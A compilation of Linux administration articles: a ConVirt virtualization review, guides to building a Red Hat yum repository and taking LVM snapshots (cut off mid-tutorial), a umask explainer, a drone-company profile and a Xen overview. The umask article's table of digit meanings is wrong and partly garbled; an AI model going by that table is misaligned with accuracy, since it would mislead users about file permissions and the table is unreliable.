 The navigation pane is logically divided into a tree with your Data Center at the top with Server Pools and Templates listed underneath it. This outline reflects how resources are organized in ConVirt: Data Center→Server Pool→Managed Server (host)→Guest. Your Data Center is the top-most delineation of your virtual environment. It could be a site or an organizational unit. Under the Data Center are Server Pools that group together like managed servers that share common items like storage and virtual network configurations. Managed servers are placed in the server pools along with any guests/VMs that reside on them. Templates fall into their own category, but also are available from the navigation pane. Templates are pre-configured groups of settings used at provisioning time to carve up/define the virtual resources available to new guests (processors, memory, storage and NICS).
The next step in your deployment is to prepare your hosts to become managed servers. Specific hypervisors have individual requirements before being added to the CMS, but the process for preparing each host is roughly the same for each. Create a network bridge on each host, download the ConVirt tool from the site and install any dependencies. Then configure SSH on each managed/server host for root access, and finally, run the convirt-tool setup command. Debian/Ubuntu users should note that you will need to set a password on the root account manually in order to manage any hypervisor from the CMS. I also suggest that you name any bridges you create with identical names (for example, KVM=br0, Xen=Xenbr0), as this helps standardize your guests' networking options. For this article, I created two KVM servers and one Xen server to manage with ConVirt.
With the hosts prepared, you now can add them to the CMS. This starts by adding hosts to a server pool. You can use the pre-configured Server Pools (Desktop, Server, QA Lab) or create your own. I created an additional pool to play with that I named "Production", and in case I messed anything up, it wouldn't affect the default pools. When you have your pool selected, right-click on it and select Add Server. On the resulting screen, select your platform, either Xen or KVM, and fill in the hostname or IP address.
If you have not configured SSH for root access on the host, the server will fail. If the server is added successfully, it now should display under the server pool you chose with a little K (K) or X (Xen) icon (Figure 3). Click on the newly added server to see performance information about your host displayed in the center pane (Figure 4). From this display, you also can view the number, type and status of the guest running on the host.
Figure 3. Our New Server Group
Figure 4. Real-Time Performance Stats on One of Our KVM Servers

 Continue adding all of your hosts as managed servers to the console until they have all been added. You then can import any pre-existing VMs on your hosts by right-clicking the managed server and selecting Import Virtual Machine Config Files. You also might notice from this same menu context that you can move servers between pools. This feature is useful during organizational changes or when moving test servers into a production environment. Be aware that moving a server between pools also moves any that reside on it, so be aware of any configuration changes that might be applied by moving your server/guests into the new pool. You also are required to power down any running guests before moving the server.
Because I already have covered how to add existing guests to managed servers, let's create a new guest from a template (this also is called provisioning). To get a feel for all of your options, let's provision a guest VM from CD as well as clone a guest from a golden image using a reference disk.
Out of the box, ConVirt has two pre-configured templates for use with provisioning. These templates contain common configuration settings for a specific OS installed from a CD. Provisioning from the built-in templates is easy. Simply right-click a template, and select Provision to create a guest on your selected managed server.
For this example setup, let's create a Linux desktop from the existing Linux CD template. After clicking on Provision, you are asked on which server to place the new guest VM, and then you're prompted to provide a name for the it (Figure 5). ConVirt then creates a guest based on your name and creates a 10GB virtual hard drive and maps the guest to the physical CD/DVD of the host on which it's provisioned.
Figure 5. Provisioning a Guest from the Linux Template
Next, insert your physical install media on the host's physical drive. Once the guest VM appears under the host, power it up by right-clicking on the new guest and clicking Start.
If you do not want to use CDs, you also have the option to boot from an .iso file. To do so, change the path of your /dev/cdrom to an accessible .iso file (Figure 6) in the settings of a template or the guest itself. Once the VM has been started, right-click on it and select View Console. If you have a Java-enabled browser, you can access the new VM's desktop via the Web console, or if you choose another VNC client, ConVirt will display the IP and port required to access the VM. If you prefer to administer your host via SSH, you also can launch a session from the guest's right-click context menu.
Figure 6. Mounting an .iso to the Guest CD-ROM

 Provisioning from CD is nice for custom machines or one-off builds, but if you have to spin up multiple guests at once, it is a very inefficient method. It is much more efficient to create a single VM and clone it over and over again, which is possible in ConVirt. To demonstrate this method of provisioning, I created a pristine (or "golden") image of a Windows XP machine. This VM contains all of the settings and software needed so that I don't need to make changes to each new VM that is spun up. After the golden image is ready, power it down in the hypervisor or ConVirt, and copy the guest's .xm file to a separate location. In my case, I copied it to an NFS share mounted on the ConVirt and all of my managed servers. You then need to gzip your .xm image in its new location to give it a .gz extension. Next, copy the Windows CD template by right-clicking it in the templates section and clicking on the Create Like option.
You could create a template from scratch, but copying and modifying a built-in one is just as quick. If you have very custom settings that differ greatly from those found in the pre-built templates, that may be the way to go.
When prompted, give your template a new name. Once the new template appears in the list, right-click on it and select the Edit Settings option. Click on the Storage option and remove the existing storage defined for hda. Click on the New button at the top of the window. On the resulting window, set the Option field to Clone Reference Disk. Change the Ref. Disk Type to Disk Image and the Ref. Format to .gzip. In the Ref Loc. field, browse or enter the path to your .iso file. Change the VM Device: field to "hda". Your settings should resemble those shown in Figure 7.
Figure 7. Provisioning Settings to Clone the Golden Image
To deploy a new cloned VM from this template, right-click it and select Provision. With the reference disk method, ConVirt will copy the .gz file to its destination and expand it to the desired size of the new VM. What is really nice is that you can specify a larger disk size than the one inside your golden image. On my XP VMs, the space automatically was added to the guest partition (not usually an easy task). It is a common best practice to keep your golden image as small as possible to fit as many different size drives (virtual or physical) that you will deploy it to.
After your deployment is in place, you may find that you need to move guests to another host to balance loads between servers, to move a VM from one network site or segment to another or to perform maintenance on a host with zero downtime to running guests. VMware dominated the market for years with its vMotion feature that performs this task well. ConVirt provides this same operation.

 Note that in order to migrate running guests between hosts, both hosts must have access to the same shared storage. You may run into other limitations when migrating guests, such as both hosts must have the same processor type and/or must be on the same hypervisor platform (like KVM or Xen), so plan accordingly. I was unable to determine whether this was a technical limitation or an unlocked feature in the enterprise version of ConVirt. Either way, there are some native tools in the hypervisors that can convert foreign disk/VM types for importation into their native platform. After you have met all the prerequisites, migrating is as simple as right-clicking the guest and selecting your destination server. You can monitor your migration task in the bottom pane of the console.
One last feature I want to mention is ConVirt's management of shared storage, because I think it is useful (Figures 8 and 9). With the designer's tree-based approach to organizing virtual resources, you set shared storage at the Data Center-level and then attach it to Server Pools, which gives you the ability to mix and match your storage among the pools. Be aware that for all servers in the pool to use the storage, they must connect to the storage using the same logical path (like migration). I found this feature incredibly useful as it really simplifies assignment of any networked storage resources you have in your environment (SAN, iSCSI or NFS). You also can set certain provisioning settings at the pool level that override those in a template. This means you can provision the same template with multiple storage options. This would be very handy if you have Server Pools in different sites or different departments, each that should use their own storage resources.
Figure 8. Shared Storage Details
Figure 9. Server Pools That Can Use This Storage
In this article, I've touched on many of the nicer features in ConVirt, but now let me talk about some things that are missing. Before doing so, you should recognize that I am comparing apples and oranges when I talk about ConVirt and vendor-produced management tools. Even comparing the Enterprise version of ConVirt is not wholly accurate, as ConVirt is meant to manage a heterogeneous virtual environment whereas Microsoft and VMware are tuned to their own homogeneous platforms.
That being said, I still had a few gripes with ConVirt. The first is that it requires root access to managed servers to communicate with the CMS, which I am sure most admins won't be crazy about. Snapshot support also is noticeably missing from the open-source version. There is an option available for the VMs called Hibernate, but that takes a snapshot only of the running memory not the underlying disk. The lack of snapshots bothered me only for half-a-second when I realized it is available in the Enterprise version. The last item missing from ConVirt is administrative roles. You do have the ability to create users and groups in the console, but as far as I can tell, the only thing that gets you is auditing of the tasks that take place on the CMS server. It felt like this was added into the product in its most basic form, but never fully developed.
In the end, these are minor complaints as ConVirt provides far more utility than the few features it lacks. The software really gives you a lot of flexibility, especially with KVM, and you can't beat the price point. I'm sure those features unlocked in the Enterprise version (snapshots, high availability and spanned virtual networks) are worth the money and bring it more in line with the vendor-produced management offerings. I know how much VMware costs, and I am sure ConVirt comes in under that. I will say that you really need to know your chops when managing different hypervisors at the same time. I am one of those admins who works with vSphere daily, and I have become accustomed to a homogeneous environment, so I really had to get under the hood of both KVM and Xen to make things go smoothly. That being said, once it in place, I believe it is easier to administer by non-Linux IT pros or admins who need to perform day-to-day tasks in their virtual environment than virt-manager or command-line tools. Add in the ability to manage a multiplatform hypervisor environment, and the value of ConVirt is apparent.

Resources

Convirture's Main Site: http://www.convirture.com
Installation Guide/Wiki: http://www.convirture.com/wiki/index.php?title=Convirt2_Installation
KVM: http://www.linux-kvm.org
Xen: http://www.xen.org

Creating a Redhat package repository

$
0
0
http://how-to.linuxcareer.com/creating-a-redhat-package-repository


1. Introduction

If your Redhat server is not connected to the official RHN repositories, you will need to configure your own private repository which you can later use to install packages. The procedure of creating a Redhat repository is quite simple task. In this article we will show you how to create a local file Redhat repository as well as remote HTTP repository.

2. Using Official Redhat DVD as repository

After default installation and without registering your server to official RHN repositories your are left without any chance to install new packages from redhat repository as your repository list will show 0 entries:
# yum repolist
Loaded plugins: product-id, refresh-packagekit, security, subscription-manager
This system is not registered to Red Hat Subscription Management. You can use subscription-manager to register.
repolist: 0
At this point the easiest thing to do is to attach your Redhat installation DVD as a local repository. To do that, first make sure that your RHEL DVD is mounted:
# mount | grep iso9660
/dev/sr0 on /media/RHEL_6.4 x86_64 Disc 1 type iso9660 (ro,nosuid,nodev,uhelper=udisks,uid=500,gid=500,iocharset=utf8,mode=0400,dmode=0500)
The directory which most interests us at the moment is "/media/RHEL_6.4 x86_64 Disc 1/repodata" as this is the directory which contains information about all packages found on this particular DVD disc.
Next we need to define our new repository pointing to "/media/RHEL_6.4 x86_64 Disc 1/" by creating a repository entry in /etc/yum.repos.d/. Create a new file called: /etc/yum.repos.d/RHEL_6.4_Disc.repo using vi editor and insert a following text:
[RHEL_6.4_Disc]
name=RHEL_6.4_x86_64_Disc
baseurl="file:///media/RHEL_6.4 x86_64 Disc 1/"
gpgcheck=0
Once file was created your local Redhat DVD repository should be ready to use:
# yum repolist
Loaded plugins: product-id, refresh-packagekit, security, subscription-manager
This system is not registered to Red Hat Subscription Management. You can use subscription-manager to register.
repo id repo name status
RHEL_6.4_Disc RHEL_6.4_x86_64_Disc 3,648
repolist: 3,648

3. Creating a local file Redhat repository

Normally having a Redhat DVD repository will be enough to get you started however, the only disadvantage is that you are not able to alter your repository in any way and thus not able to insert new/updated packages into it. The resolve this issue we can create a local file repository sitting somewhere on the filesystem. To aid us with this plan we will use a createrepo utility.
By default createrepo may not be installed on your system:
# yum list installed | grep createrepo
#
No output indicates that this packages is currently not present in your system. If you have followed a previous section on how to attach RHEL official DVD as your system's repository, then to install createrepo package simply execute:

# yum install createrepo
The above command will install createrepo utility along with all prerequisites. In case that you do not have your repository defined yet, you can install createrepo manually:
Using your mounted RedHat DVD first install prerequisites:
# rpm -hiv /media/RHEL_6.4\ x86_64\ Disc\ 1/Packages/deltarpm-*
# rpm -hiv /media/RHEL_6.4\ x86_64\ Disc\ 1/Packages/python-deltarpm-*
 followed by the installation of the actual createrepo package:
# rpm -hiv /media/RHEL_6.4\ x86_64\ Disc\ 1/Packages/createrepo-*
If all went well you should be able to see createrepo package installed in your system:
# yum list installed | grep createrepo
createrepo.noarch 0.9.9-17.el6 installed
At this stage we are ready to create our own Redhat local file repository. Create a new directory called /rhel_repo:
# mkdir /rhel_repo
Next, copy all packages from your mounted RHEL DVD to your new directory:
# cp /media/RHEL_6.4\ x86_64\ Disc\ 1/Packages/* /rhel_repo/
When copy is finished execute createrepo command with a single argument which is your new local repository directory name:
# createrepo /rhel_repo/
Spawning worker 0 with 3648 pkgs
Workers Finished
Gathering worker results

Saving Primary metadata
Saving file lists metadata
Saving other metadata
Generating sqlite DBs
Sqlite DBs complete
You are also able to create Redhat repository on any debian-like Linux system such as Debian, Ubuntu or mint. The procedure is the same except that installation of createrepo utility will be: # apt-get install createrepo
As a last step we will create a new yum repository entry:
# vi /etc/yum.repos.d/rhel_repo.rep
[rhel_repo]
name=RHEL_6.4_x86_64_Local
baseurl="file:///rhel_repo/"
gpgcheck=0
Your new repository should now be accessible:
# yum repolist
Loaded plugins: product-id, refresh-packagekit, security, subscription-manager
This system is not registered to Red Hat Subscription Management. You can use subscription-manager to register.
rhel_repo | 2.9 kB 00:00 ...
rhel_repo/primary_db | 367 kB 00:00 ...
repo id repo name status
RHEL_6.4_Disc RHEL_6.4_x86_64_Disc 3,648
rhel_repo RHEL_6.4_x86_64_Local 3,648

4. Creating a remote HTTP Redhat repository

If you have multiple Redhat servers you may want to create a single Redhat repository accessible by all other servers on the network. For this you will need apache web server. Detailed installation and configuration of Apache web server is beyond the scope of this guide therefore, we assume that your httpd daemon ( Apache webserver ) is already configured. In order to make your new repository accessible via http configure your apache with /rhel_repo/ directory created in previous section as document root directory or simply copy entire directory to: /var/www/html/ ( default document root ).
Then create a new yum repository entry on your client system by creating a new repo configuration file:
vi /etc/yum.repos.d/rhel_http_repo.repo
with a following content, where my host is a IP address or hostname of your Redhat repository server:
[rhel_repo_http]
name=RHEL_6.4_x86_64_HTTP
baseurl="http://myhost/rhel_repo/"
gpgcheck=0
Confirm the correctness of your new repository by:
# yum repolist
Loaded plugins: product-id, refresh-packagekit, security, subscription-manager
This system is not registered to Red Hat Subscription Management. You can use subscription-manager to register.
repo id repo name status
rhel_repo_http RHEL_6.4_x86_64_HTTP 3,648
repolist: 3,648

5. Conclusion

Creating your own package repository gives you more options on how to manage packages on your Redhat system even without paid RHN subscription. When using a remote HTTP Redhat repository you may also want to configure GPGCHECK as part of your repository to make sure that no packages had been tampered to prior their installation.

What is UMASK and how to set UMASK in Linux/Unix?

$
0
0
http://www.linuxnix.com/2011/12/umask-define-linuxunix.html


UMASK(User Mask or User file creation MASK) is the default permission or base permissions given when a new file(even folder too, as Linux treats everything as files) is created on a Linux machine. Most of the Linux distros give 022(0022) as default UMASK. In other words, It is a system default permissions for newly created files/folders in the machine.

How to calculate UMASK in Linux?

Though umask value is same for files and folders but calculation of File base permissions and Directory base permissions are different.
The minimum and maximum UMASK value for a folder is 000 and 777
The minimum and maximum UMASK value for a file is 000 and 666
Why 666 is the maximum value for a file?
This is because only scripts and binaries should have execute permissions, normal and regular files should have just read and write permissions. Directories require execute permissions for viewing the contents in it, so they can have 777 as permissions.
Below are the permissions and its values used by UMASK. If you are a Linux/Unix user you will observe these are inverse to actual permissions values when setting up permissions to files/folders with CHMOD command.
 0 --Full permissions(Read, Write, Execute)
1 --Write and read
2 --Read and execute
3 --Read only
4 --Write and execute
5 --Write only
6 --Execute onlyadminadmin
7 --No permissions
How to remember these and calculate the file and folder permissions?
Consider above values are inverse to actual permissions. Suppose your UMASK value is 0027(027).
For folder:
To calculate actual folder permissions from UMASK is done in two steps
Step1:Logical Negate the UMASK
Not(027) = 750
Step2: Logical AND this number with 777
777 AND 750 = 750
So actual folder permissions is 750 when its created. Owner will get full permission, group gets execute and write permissions and others no permissions
In other words and simple way..
We have to subtract 027 from 777 then we will get the actual folder permissions.
777 - 027 = 750
which is nothing but full permissions for the owner, read and execute permissions for group and no permissions for others.
Linuxnix-free-e-book
For files:
To get actuall file permissions from UMASK is done in two steps
Step1:Logical Negate the UMASK
Not(027) = 750
Step2: Logical AND this number with 666
666 AND 750 = 640
For your understanding purpose we have calculated this below equation to get what actuall AND operator do.
110 + 111 = 110(6)
110 + 101 = 100(4)
110 + 000 = 000(0)
How to see default UMASK?
just type umask and you will get whats the default UMASK
umask
Output
0022
Some FAQ related to umask:
1)How to setup or change default UMASK for all the new users?
The UMASK value can be set in /etc/profile for all the new users. Open this file as root user and given the below line in the file.
umask 027
2)How to setup or change default UMASK for existing users?
For existing users you can edit ~/.bashrc file in their home directory. This should be done for all the users one by one or if the machine is having lots and lots of users then you can write a shell script for this.
3)I see people are using 0022 and 022 as UMASK, is there any difference between them?
There is no difference between these two, both indicates one and the same. The preceding 0 indicates there is no SUID/SGID/Sticky bit information set.
4)What is the perferred UMASK value for a system for Security reasons?
Prefered is 027(0027) for security reasons becasue this will restrict others not to read/write/execute that file/folder
5)I see umask value as 022 in my vsftpd config file? what actually this mean to world?
When you see 022 as umask value in vsftpd config file that indicates that users who are going to create files will get 644  and for folders its 755 respectively.
To know more about umask refer man pages and info pages.
man umask

info umask
Please comment at comments section for any queries related to umask.

3D Robotics for open source drones- your plastic flying robot buddy

$
0
0
http://nextbigfuture.com/2013/04/3d-robotics-for-open-source-drones-your.html

3D Robotics is the leading open source unmanned aerial vehicle (UAV) technology company. It was founded in 2009 by Chris Anderson (founder of DIY Drones) and Jordi Munoz, and today is a professional, venture-backed enterprise with more than 70 employees across three offices in San Diego (engineering), Berkeley (business and sales) and Tijuana (manufacturing).

3D Robotics designs and manufactures electronics and aerial vehicles, including multicopters and airplanes. It created the APM autopilot line, along with the ArduCopter and ArduPlane UAVs. It is the commercial sponsor of the DIY Drones community and the exclusive manufacturing partner of the Pixhawk UAV research team at the renowned Swiss Federal Institute of Technology in Zurich (ETH).




They want to take toys (flying radio controlled planes) and add brains.
He started 5 years ago with lego and made a uav autopilot for a radio controlled plane.
He created DIY Drones for a large community of people to share the work and efforts to make drones.
He is taking military grade technology at toy prices.

Personal camera droid. Push a button and have a flying droid take off and film you from the air and follow you around.

We are now using cellphone technology for inexpensive commercial drones. There is something magic going on in your pocket [the smartphone]. It’s the peace dividend of the smart phone wars. With a $90 drone, they don’t have to come back. You can double the range when they don’t have to come back. You can waste drones to get the job done. That’s what we did in Silicon Valley with transistors, and now we can do it with robotics.

DARPA just made a guidance chip that is smaller than a dime that has acceleromaters and gyros. The autopilot could go from $179 to less than a dollar.

Clearly the super-easy, super cheap drone revolution is coming

What does DIY Drones have to offer?
The DIY Drones community has created the world's first "universal autopilot", ArduPilot Mega (APM). It combines sophisticated IMU-based autopilot electronics with free Arduino-based autopilot software that can turn any RC vehicle into a fully-autonomous UAV.

A full setup consists of:
APM 2.5 autopilot: The electronics, including twin processors, gyros, accelerometers, pressure sensors, GPS and more (shown below). Available from 3D Robotics ($179).


Mission Planner software: Desktop software that lets you manage APM and plan missions, along with being a powerful ground station during flights and helping you analyze mission logs afterwards.

Autopilot software:
Arduplane: for any fixed-wing aircraft
Arducopter: for any rotary-wing aircraft
ArduRover: for any ground- or water-based vehicle










DIY drones can be used for farmers to survey crops to spot dark areas where fungus could be growing so they when and where to spray fungicide.
Drones can be used to take an aerial view of tomato crops to know when to harvest.

What is ArduCopter?

ArduCopter is an easy to set up and easy to fly platform for multirotors and helicopters. Its features go far beyond the basic manual control RC multicopters on the market today. Unlike RC-only multicopters, ArduCopter is complete UAV solution, offering both remote control and autonomous flight, including waypoints, mission planning and telemetry displayed on a powerful ground station.



ArduCopter is on the cutting edge of aerial robotics and intended for those people who want to try advanced technology, leading edge techniques and new flight styles.

The Arducopter project is based on the APM 2.x autopilot created by the DIY Drones community.

ArduCopter frames and other parts are made by jDrones Asia and 3D Robotics. Read more about purchasing one on the Get it! page.

All but the smallest Multicopters and Helicopters can be easily upgraded to full UAV capability with APM 2.x.

Features include:

*High quality autolevel and auto altitude control – fly level and straight. Or fly the awesome "simple flight" mode, which makes ArduCopter one of the easiest multicopter to fly. Don't worry about keeping an eye on your multicopter's orientation--let the computer figure it out! You just push the stick the way you want to go, and the autopilot figures out what that means for whatever orientation the copter is in, using its onboard magnetometer. "Front", "back"...who cares? Just fly!

* No programming required. Just use an easy-to-use desktop utility to load the software with one click and set up ArduCopter with quick visual displays, a point-and-click mission planner and a full ground station option (see below).

* Unlimited GPS waypoints. Just point and click waypoints in the Mission Planner, and ArduCopter will fly itself to them. No distance limits! You can script entire missions, including camera control!

* "Loiter" anywhere. Just flip the toggle switch and your copter will hold its position using its GPS and altitude sensors.

* Return to launch. Set home to any location and flip a switch to have ArduCopter fly back automatically.

* Do all mission planning via a two-way wireless connection option. Waypoints, mode changing, even changing the gains of every control parameter can be done from your laptop, even while the copter is in the air!

* Automatic takeoff and landing. Just flick a switch and watch ArduCopter execute its mission completely autonomously, returning home to land by itself in front of you when it's done.


Full-features GCS





Fully scriptable camera controls, including the ability to drive a pan-tilt camera gimbal to keep the camera pointed at an object on the ground.

Cross-platform. Supports Windows, Mac and Linux. Use the graphical Mission Planner setup utility in Windows (works under Parallels on a Mac) or use a command-line interface on any other operating system. Once ArduCopter is set up, you can use it with a choice of three ground stations, including QGroundcontrol, which runs natively on Windows, Mac and Linux

Compatibility with industry-leading robotics standards, such as Willow Garages's Robot Operating System and the MAVLink communications protocol. This ensures that ArduCopter will continue to be on the cutting edge of aerial robotics, from multi-UAV swarming to AI control and Android compatibility.

Sample of performance:




If you liked this article, please give it a quick review on ycombinator or StumbleUpon. Thanks

Why Use Xen?

$
0
0
http://www.linux.com/news/enterprise/systems-management/717553-why-use-xen


At the Linux Foundation Collaboration Summit in April, the Xen Project announced that it was now a Collaborative Project of the Linux Foundation.  But as people attended some of the Xen-related conference sessions, one question always seemed to be asked: “Why should I use Xen?”
There is an answer – but it varies depending on the audience.
Xen logo and pandaFor the business person, the answer is that Xen is a safe, stable, well-tested choice for virtualization which is used by industry giants (Amazon, Rackspace, Verizon, etc.).  It has a robust consortium of companies behind its development and it has the price, performance, and security to go toe-to-toe with the best offerings in the industry.  Plus, it has a proven 10-year track record which includes powering some of the largest clouds in the world.
For tech-savvy users of F/OSS, however, there are additional considerations.  A few of these include:
·         Type 1 Hypervisor: The fact that the Xen Project employs a Type 1 Hypervisor – a hypervisor that runs on bare metal rather than within an existing operating system kernel. This means its architecture has special attributes when it comes to scale, security, and performance.
·         Disaggregation: The ability to segment individual device drivers into small, nimble Driver Domains means that device-related performance bottlenecks can be reduced or eliminated.  It also means that device drivers that might be subject to attack by crackers can be segmented from the rest of the environment and even refreshed regularly to remove any compromise that may be incurred.  Similarly, an unstable device driver can be isolated via disaggregation and easily rebooted if it should fail.
·         Flexible Virtualization Modes: The hypervisor provides different virtualization modes which allow the administrator to adapt to the specifics in the workload and capabilities of the hardware.  In particular, Xen pioneered the now popular concept of a paravirtualization (PV) mode offering an extremely optimized low-overhead experience for many workloads.
·         Multiple Architectures: The software can run on traditional x86 32-bit and 64-bit hardware (both with and without virtual extensions in the hardware), as well as on the new breed of ARM-based servers.  As your datacenter moves forward, your virtualization solution is prepared to move ahead with you.
·         Tool-Agnostic Cloud: The Xen Project was born with the concept that virtualization should be controllable in the manner which later came to be called Cloud Computing.  The availability of Xen Cloud Platform (XCP) and its associated programming interface (XAPI) ensure that you can control your VMs the way you want to, using whatever tool stack you choose.  Cloud technologies such as CloudStack and OpenStack can easily manipulate Xen VMs. There is no such thing as vendor (or project) lock-in to any one cloud solution.
·         Open Source: The Xen Project is now a Collaborative Project of the Linux Foundation, ensuring that the destiny of the project remains squarely with the community.  Yet, the impressive array of commercial project members ensures that substantial resources are marshalled for the continued development of Xen.
·         Moving Forward: The Xen Project continues breaking new ground with incubation projects such as Mirage OS, which will produce certain tiny, highly efficient VMs utilizing exokernel technology.
Clearly, there are lots of reasons to use Xen.  Maybe the better question is, “Why not use Xen?”

Create and Restore manual Logical Volume Snapshots

$
0
0
http://how-to.linuxcareer.com/create-and-restore-manual-logical-volume-snapshots


1. Introduction

By creating a Logical Volume snapshots you are able to freeze a current state of any of your logical volumes. This means that you can very easily create a backup and once needed rollback to a original logical volume state. This method is very similar to what you already know from using Virtualization software such as Virtualbox or VMware where you can simply take a snapshot of entire virtual machine and revert back in case something went wrong etc. Therefore, using LVM snapshots allows you to take a control of your system's logical volumes whether it is your personal laptop or server. This tutorial is self-contained as no previous experience with Logical Volume Manager is required.

2. Scenario

In this article we will explain how to manually create and restore logical volume snapshots. Since we do not assume any previous experience with Logical Volume Manager we will start from a scratch using a dummy physical hard drive /dev/sdb with size of 1073 MB. Here are all steps in nutshell:
  • 1First we will create two partitions on our /dev/sdb drive. These partitions will be of "8e Linux LVM" type and will be used to create a physical volumes
  • 2Once both partitions are created we use pvcreate command to create physical volumes
  • 3In this step we create a new Logical Volume Group and a single 300MB in size logical volume using ext4 filesystem
  • 4Mount our new logical volume and create some sample data
  • 5Take a snapshot and remove sample data
  • 6Rollback logical volume snapshot

3. Creating a Logical Volume

3.1.  Logical Volume Manager Basics

Here is a quick start definition of logical volume manager:
Logical volume manager allows you to create a Logical group consisting of multiple physical volumes. Physical volumes can be entire hard-drives or separate partitions.  Physical volumes can reside on a single or multiple hard-drives, partitions , USBs, SAN's etc. To increase a Logical Volume size you can add additional physical volumes. Once you create Logical volume group you can then create multiple Logical volumes and at the same time completely disregard a physical volume layer. Logical volume group can be resized at any time by adding more physical volumes so new logical volumes can created or resized.

3.2. Create a partitions

First, we need to create a partitions and mark them as physical volumes.  Here is our physical disk we are going to work with:
# fdisk -l /dev/sdb

Disk /dev/sdb: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders, total 2097152 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x335af99c

   Device Boot      Start         End      Blocks   Id  System
Let's create two primary partitions. Here we are using fdisk to do tis job. Feel free to use any other partitioning tool to do this job such as cfdisk, parted etc.
# fdisk /dev/sdb
All command are highlighted in bold:
Command (m for help): n
Partition type:
p primary (0 primary, 0 extended, 4 free)
e extended
Select (default p): p
Partition number (1-4, default 1):
Using default value 1
First sector (2048-2097151, default 2048):
Using default value 2048
Last sector, +sectors or +size{K,M,G} (2048-2097151, default 2097151): +400M

Command (m for help): n
Partition type:
p primary (1 primary, 0 extended, 3 free)
e extended
Select (default p): p
Partition number (1-4, default 2): 2
First sector (821248-2097151, default 821248):
Using default value 821248
Last sector, +sectors or +size{K,M,G} (821248-2097151, default 2097151): +200M

Command (m for help): t
Partition number (1-4): 1
Hex code (type L to list codes): 8e
Changed system type of partition 1 to 8e (Linux LVM)

Command (m for help): t
Partition number (1-4): 2
Hex code (type L to list codes): 8e
Changed system type of partition 2 to 8e (Linux LVM)

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.
Syncing disks.
 If you followed the above steps, your new partition table on the disk /dev/sdb will now look similar to the one below:
# fdisk -l /dev/sdb

Disk /dev/sdb: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders, total 2097152 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x335af99c

Device Boot Start End Blocks Id System
/dev/sdb1 2048 821247 409600 8e Linux LVM
/dev/sdb2 821248 1230847 204800 8e Linux LVM

3.3. Create Physical Volumes

At this point we mark both partitions as physical volumes. Please note that you do not have to follow the same pattern as in this tutorial. For example you could simply partition entire disk with a single partition instead of two. Use pvcreate to create physical volumes:
 # pvcreate /dev/sdb[1-2]
  Writing physical volume data to disk "/dev/sdb1"
  Physical volume "/dev/sdb1" successfully created
  Writing physical volume data to disk "/dev/sdb2"
  Physical volume "/dev/sdb2" successfully created

3.4. Create Volume Group

Now it is time to create a Volume Group. For this we use tool vgcreate. The new Volume Group will have a name "volume_group".
# vgcreate volume_group /dev/sdb1 /dev/sdb2
  Volume group "volume_group" successfully created
After execution of the above command you will have a new volume group created named "volume_group". This new volume group will consist of two physical volumes:
  • /dev/sdb1
  • /dev/sdb2
You can see the stats of your new volume group using vgdisplay command:
# vgdisplay 
  --- Volume group ---
  VG Name               volume_group
  System ID            
  Format                lvm2
  Metadata Areas        2
  Metadata Sequence No  1
  VG Access             read/write
  VG Status             resizable
  MAX LV                0
  Cur LV                0
  Open LV               0
  Max PV                0
  Cur PV                2
  Act PV                2
  VG Size               592.00 MiB
  PE Size               4.00 MiB
  Total PE              148
  Alloc PE / Size       0 / 0  
  Free  PE / Size       148 / 592.00 MiB
  VG UUID               37jef7-3q3E-FyZS-lMPG-5Jzi-djdO-BgPIPa

3.5. Creating Logical Volumes

If all went smoothly we can now finally create a logical volume.  The size of the logical volume must not exceed the size of your logical group. Let's create new logical volume called "volume1" of size 200 MB and format it with ext4 filesystem.
# lvcreate -L 200 -n volume1 volume_group
  Logical volume "volume1" created
You can see a definition of your new logical volume using lvdisplay command. Take a note of the LV Path value as you will need it when creating a filesystem on your new h"volume1" logical volume.
# lvdisplay
  --- Logical volume ---
  LV Path                /dev/volume_group/volume1
  LV Name                volume1
  VG Name                volume_group
  LV UUID                YcPtZH-mZ1J-OQQu-B4nj-MWo0-yC18-m77Vuz
  LV Write Access        read/write
  LV Creation host, time debian, 2013-05-08 12:53:17 +1000
  LV Status              available
  # open                 0
  LV Size                200.00 MiB
  Current LE             50
  Segments               1
  Allocation             inherit
  Read ahead sectors     auto
  - currently set to     256
  Block device           254:0
Now you can create an ext4 filesystem on your logical volume:
# mkfs.ext4 /dev/volume_group/volume1

4. Logical Volume Snapshot

Finally, we have come to the point where we can take a snapshot of our logical volume created in previous section. For this we will also need some sample data on our Logical Volume "volume1" so once we revert from the snapshot we can confirm entire process by comparing original data with data recovered from the snapshot.

4.1. Understanding Snaphosts

In order to understand how snapshots work we first need to understand what logical volume consists of and how data are stored. This concept is similar to well known symbolic links. When you create a symbolic link to a file you are not creating a copy of the actual file but instead you simply create only a reference to it. Logical volume stores data in a similar fashion and it consists of two essential parts:
  • metadata pointers
  • data block
When a snapshot is created Logical Volume Manager simply creates a copy of all Metadata pointers to a separate logical volume. Metadata do not consume much space and therefore your are able to create snapshot of let's say 2GB logical volume to 5MB snapshot volume. The snapshot volume only starts grow once you start altering data of the original logical volume. Which means, that every time you remove or edit file on the original logical volume a copy of that file ( data ) is created on snapshot volume. For a simple changes you may need to create a snapshot volume of around 5-10% of the logical volume original size. If you are prepared to make many changes on your original logical volume then you will need lot more than 10%. Let's get started:

4.2. Sample Data

First, create a new mount point directory for "volume1" and mount it :
# mkdir /mnt/volume1
# mount /dev/volume_group/volume1 /mnt/volume1
Enter "volume1" mount point and copy some sample data:
# cd /mnt/volume1
# cp -r /sbin/ .
# du -s sbin/
8264    sbin/
Using previous commands we have copied entire /sbin directory into /mnt/volume1. The size of /mnt/volume1/sbin/ is currently 8264 KB.
 Creating a Snapshot
Now we are going to create a snapshot of logical volume "volume1". In the process Logical Volume Manager will create a new separate logical volume. This new logical volume will have size of 20MB and will be called "volume1_snapshot":
# lvcreate -s -L 20M -n volume1_snapshot /dev/volume_group/volume1
  Logical volume "volume1_snapshot" created
Execute lvs command to confirm that new volume snapshot has been created:
# lvs
  LV               VG           Attr     LSize   Pool Origin  Data%  Move Log Copy%  Convert
  volume1          volume_group owi-aos- 200.00m                                           
